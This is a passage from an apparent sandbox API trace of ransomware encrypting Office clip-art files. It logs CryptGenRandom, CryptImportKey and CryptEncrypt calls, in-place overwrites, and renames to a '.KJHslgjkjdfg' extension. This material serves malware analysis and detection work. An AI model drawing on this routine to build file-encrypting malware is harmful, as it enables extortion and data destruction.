lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.076] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.076] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.076] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.076] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.076] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x812c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x812c, lpOverlapped=0x0) returned 1 [0196.077] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8130, dwBufLen=0x8130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8130) returned 1 [0196.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.078] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8130, lpOverlapped=0x0) returned 1 [0196.078] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.078] SetEndOfFile (hFile=0x130) returned 1 [0196.081] GetProcessHeap () returned 0x990000 [0196.082] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.082] GetProcessHeap () returned 0x990000 [0196.082] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.kjhslgjkjdfg")) returned 1 [0196.083] CloseHandle (hObject=0x130) returned 1 [0196.083] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0196.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.084] GetProcessHeap () returned 0x990000 [0196.084] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.084] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.084] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.087] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.087] GetProcessHeap () returned 0x990000 [0196.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.087] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.087] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.087] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.087] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.087] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.087] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.087] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.087] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.087] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.088] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x778, lpOverlapped=0x0) returned 1 [0196.088] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780, dwBufLen=0x780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780) returned 1 [0196.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.088] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x780, lpOverlapped=0x0) returned 1 [0196.088] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.088] SetEndOfFile (hFile=0x130) returned 1 [0196.091] GetProcessHeap () returned 0x990000 [0196.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.091] GetProcessHeap () returned 0x990000 [0196.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.kjhslgjkjdfg")) returned 1 [0196.093] CloseHandle (hObject=0x130) returned 1 [0196.093] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0196.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.094] GetProcessHeap () returned 0x990000 [0196.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.094] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.094] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.096] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.096] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.096] GetProcessHeap () returned 0x990000 [0196.096] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.096] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.097] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.097] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.097] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.097] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.097] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.097] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.097] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.097] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.097] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ea8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ea8, lpOverlapped=0x0) returned 1 [0196.098] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1eb0, dwBufLen=0x1eb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1eb0) returned 1 [0196.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.099] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1eb0, lpOverlapped=0x0) returned 1 [0196.099] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.099] SetEndOfFile (hFile=0x130) returned 1 [0196.102] GetProcessHeap () returned 0x990000 [0196.102] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.102] GetProcessHeap () returned 0x990000 [0196.102] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.kjhslgjkjdfg")) returned 1 [0196.103] CloseHandle (hObject=0x130) returned 1 [0196.103] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0196.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.105] GetProcessHeap () returned 0x990000 [0196.105] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.105] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.105] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.110] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.110] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.110] GetProcessHeap () returned 0x990000 [0196.110] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.110] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.110] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.110] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.112] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.113] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.113] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.113] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1fc8, lpOverlapped=0x0) returned 1 [0196.123] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fd0) returned 1 [0196.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.123] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1fd0, lpOverlapped=0x0) returned 1 [0196.124] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.124] SetEndOfFile (hFile=0x130) returned 1 [0196.125] GetProcessHeap () returned 0x990000 [0196.125] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.125] GetProcessHeap () returned 0x990000 [0196.125] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.kjhslgjkjdfg")) returned 1 [0196.133] CloseHandle (hObject=0x130) returned 1 [0196.133] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0196.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.134] GetProcessHeap () returned 0x990000 [0196.134] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.134] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.135] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.135] GetProcessHeap () returned 0x990000 [0196.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.135] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.135] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.135] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.137] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.138] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.138] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.138] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.138] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x22b0, lpOverlapped=0x0) returned 1 [0196.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22b0) returned 1 [0196.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 